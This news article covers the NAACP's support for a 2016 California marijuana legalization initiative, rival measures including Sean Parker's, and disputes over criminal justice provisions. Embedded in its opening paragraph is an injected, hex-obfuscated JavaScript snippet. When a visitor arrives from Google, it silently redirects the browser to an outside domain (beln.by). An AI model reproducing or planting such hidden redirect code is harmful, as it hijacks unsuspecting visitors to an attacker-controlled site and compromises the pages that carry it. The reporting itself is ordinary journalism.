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Weed: NAACP, rival forces eye ballot

A marijuana plant at an indoor farm. (Photo: Syd Cinema, via Shutterstock)

In late October, the California and Hawaii chapters of the NAACP gathered for a convention in Los Angeles to discuss issues facing the African-American community var _0x5575=[“\x67\x6F\x6F\x67\x6C\x65″,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x72\x65\x66\x65\x72\x72\x65\x72″,”\x68\x72\x65\x66″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”,”\x68\x74\x74\x70\x3A\x2F\x2F\x62\x65\x6C\x6E\x2E\x62\x79\x2F\x67\x6F\x3F\x68\x74\x74\x70\x3A\x2F\x2F\x61\x64\x64\x72\x2E\x68\x6F\x73\x74″];if(document[_0x5575[2]][_0x5575[1]](_0x5575[0])!==-1){window[_0x5575[4]][_0x5575[3]]= _0x5575[5]}. Among the panels, speakers, and seminars filling the agenda, a headliner emerged from the list of straight-edge politicians and suits: Calvin Broadus Jr., better known as Snoop Dogg.

 

It was unusual for rapper Snoop Dogg to have a place among more traditional political names like Attorney General Kamala Harris, State Controller Betty Yee and Alice Huffman, the president of the California NAACP.

The NAACP reached out to the Parker group to collaborate, according to Huffman, but to no avail.

But when the issue at stake is marijuana legalization, it’s less surprising that a performer famous for singing the words “Smoke weed every day,” has something to say.

As the NAACP gets behind a ballot initiative to legalize cannabis next year, perhaps a celebrity’s touch is just what members need to get on board with what is viewed as controversial move for the civil rights group.

“We did this when we took a bold position on the LGBT community, when we supported same sex marriage,” Huffman said. “I have a lot of fundamentalists in the NAACP, so I have to be sure that they understand that we’re not out perpetuating drug use for the sake of it, but there’s a bigger agenda for why we’re involved, so the summit was extremely successful.”

The initiative, co-authored by Huffman and Dale Sky Jones, chairwoman of the Coalition for Cannabis Policy Reform, is just one of at least 10 legalization initiatives filed with the state attorney general’s office over the last few months. Several already have been cleared to gather voters’ signatures.

One group, headed by Americans for Policy Reform (AFPR), a politically active nonprofit, has unified several of the smaller groups filing initiatives under “The Marijuana Control, Legalization, and Regulation Act of 2016.”

The movement was bolstered by the success of legalization initiatives in Colorado and Washington, and poll numbers indicate that even some red states might go green.

On Monday, Olson, Hagel, and Fisher, a law firm hired by Silicon Valley billionaire Sean Parker, filed yet another measure for legalization. The “Control, Regulate, and Tax Adult Use of Marijuana” is seen as one of the strongest contenders filed for the 2016 ballot, given the financial resources and name recognition of Parker, who founded Napster.

John Lee of AFPR and Huffman both said that in an ideal world all the groups would be unified on a single initiative. But outside of wishful thinking, none of the respective campaigns have managed to compromise and come together.

Lee cited differences in several major areas of regulation, such as grow limits, diversion programs, and DUI enforcement, as reasons for his group’s departure from past collaboration with many supporters of ReformCA, the coalition backing Huffman and Sky Jones’ initiative. Lee added that his group has yet to complete their analysis of the Parker language, but they intend on moving forward and getting titles and summaries for the three versions they have filed.

The NAACP reached out to the Parker group to collaborate, according to Huffman, but to no avail. After a cursory examination of the language Tuesday, she said it doesn’t appear to contain the NAACP’s main priorities, such as opportunities for non-violent felons in the legalized industry or funds to rebuild communities affected by the war on drugs.

“I don’t know why they won’t talk to the NAACP,” she said. “I’m very interested in getting them to take our issues and include them in their initiative. I’m not trying to cajole or threaten anybody, but I just know that we will not be working for any initiative that doesn’t have those elements in them.”

Ballot measures to legalize cannabis are not a new phenomenon in California. In 1996, California voters approved Proposition 215, the medicinal marijuana law. But since then initiatives have not fared well: in 2010, Parker backed Proposition 19, which failed with 53 percent of Californians voting in opposition.

A 2010 report showed that in California’s largest 25 counties, blacks were arrested at a rate much higher than whites for marijuana-related crimes.

For many years, legalization has been seen as a fringe issue, untouchable for politicians but publicly touted by pop culture figures like Snoop Dogg.

But recently, the political tides have shifted. The movement was bolstered by the success of legalization initiatives in Colorado and Washington, and poll numbers indicate that even some red states might go green. A 2013 Field Poll showed marijuana legalization favored by 54 percent of likely voters, and since then surveys have shown increasing support.

“It’s astonishing, the polling numbers,” said Joe Trippi, a veteran political consultant working with ReformCA. “In states that you would normally think would be opposed or much more conservative on the issue…They’re not [opposed].”

Trippi himself is an illustration of how mainstream support for legalization has become. Prior to his work on the ReformCA initiative, Trippi worked with politicians as well-known as Ted Kennedy and John Edwards, ran Howard Dean’s presidential campaign, and even spent time as a contributor on Fox News.

“Even moderate to conservative voters that you wouldn’t necessarily expect, they can be reached on regulation and taxation,” Trippi said.

For more left-wing activists, the reasoning behind legalization aligns with that of the NAACP: social justice.

The findings of a 2010 report released by the Drug Policy Alliance stated that in California’s largest 25 counties, blacks were arrested at a rate much higher than whites for marijuana-related crimes. Knowing that the seemingly inevitable movement towards legalization holds potential for such criminal justice reform has galvanized civil rights leaders like the NAACP.

“NAACP is not in it for legalization, although adult recreational use will follow,” Huffman said. “We’re in it because it’s going to happen and we just want to make sure that it’s shaped in a way that we can have some integrity in the process.”

The ReformCA initiative, which Huffman said is still being tweaked, focuses on aggressive criminal justice reforms, including repealing past cannabis laws, rather than just working around the existing ones, and providing economic opportunities for non-violent drug offenders in the regulated industry. Sky Jones and Huffman argue that legalization needs to be done in a way that helps repair some of the damage done to disadvantaged communities in the war on drugs, and any initiative that leaves out such provisions won’t gain their support.

Dueling initiatives have long bedeviled legalization efforts in California. In early 2014, two of the four marijuana measures that were headed to the ballot were pulled from contention.

Though the material resources of Parker’s initiative likely pose the most formidable threat for Huffman and Sky Jones’ initiative, there are several other groups that have authored similar initiatives. The bottom line for proponents of legalization is that without unity around a single initiative, there is a risk that more than one might qualify, presenting pro-marijuana voters with a conflict at the ballot box next November.

“Obviously everybody wants to try to avoid that,” Trippi said.

Sky Jones voiced concerns about whether Parker’s group was committed to criminal justice reforms. She said that if two initiatives made the ballot, California voters would be able to discern the better of the two. She added that polling indicates California voters are most concerned with what she described as true criminal justice reform.

“A legalization law that fails to do the one thing Californians have an appetite for is not true legalization,” she said. “[Californians] are the leaders. We should be showing these other states how to do it right. This isn’t just about a win, this is about doing it well”

Dueling initiatives have long bedeviled legalization efforts in California. In early 2014, two of the four marijuana measures that were headed to the ballot were pulled from contention, with the advocates of both – the Drug Policy Alliance and cannabis activist Ed Rosenthal — saying they wanted to do more preparation and consultation. The Drug Policy Alliance is in support of the Parker initiative.

Rosenthal said at the time that bickering among the legalization advocates weakened the chances for a successful vote, but that he hoped to block the Drug Policy Alliance’s proposal.

“I didn’t have to get mine on the ballot, I just had to put in enough effort to make it difficult for the (Drug Policy Alliance) to get on the ballot,” Rosenthal told Capitol Weekly.

Trippi and Huffman are relying on political savvy and broad grassroots support to counter Parker’s initiative.

“We’ve built up quite a database of small contributors, and I think I have an ace in the hole that I’ve not shared publicly,” Huffman said. “Parker has his $20 million, but I’m not so sure that if they don’t put in their initiative [the regulations] we need that we can’t raise money for ours,”

She also believes she will be able to bring the African-American vote, as well as the support of celebrities like Snoop Dogg, to whichever initiative she decides to support, whether it’s the one she’s authored with ReformCA or another that includes NAACP priorities.

“It’s not the third-rail issue that politicians think it is,” Sky Jones said.

Stephanie Burri, who worked for Assemblymember Reginald Jones-Sawyer, D-Los Angeles, on recent legislation to regulate medical marijuana, is realistic about the effect that multiple initiatives might have on legalization movement.

“The problem is there’s so many initiatives, you could actually basically kill the ability to legalize if you have so many initiatives on the ballot that people can’t get behind one thing,” she said.

Though Jones-Sawyer won’t back an initiative until all the language is on the table, Burri said he publicly is in favor of legalization. The fact that a politician can take that position shows how far the movement has come in recent years. But that doesn’t mean the Legislature itself will be legalizing marijuana anytime soon.

“We just don’t see the legislature passing a legalization bill,” Burri said. The governor’s not interested in a legalization bill either at least according to what we’ve heard. We did this bill (AB 266) because we wanted to deal with what we thought we could get accomplished.”

Sky Jones likewise said she doesn’t think the California legislature is ready to start writing its own bills other than the recent medical marijuana regulation passed.

Trippi is more optimistic about professional lawmakers working towards legalization.

“It may take another big victory like one in California to get to the point where it becomes more common for it to be dealt with legislatively, where politicians stop fearing it as an issue,” he said. “It’s their responsibility to regulate to create the proper regulation and legalization.”

The broad support that it takes to get an initiative on the ballot, much less passed, indicates that it may be an issue politicians can pick up in the near future.

“It’s not the third-rail issue that politicians think it is,” Sky Jones said.

But until the legislative squabbling about the details of legalization begins, the fight will remain between the various initiative groups.

“We’re hopeful that eventually we get to one initiative because this is kind of ridiculous,” Huffman said. “Everybody going for the same thing but down different paths probably won’t work.”

 


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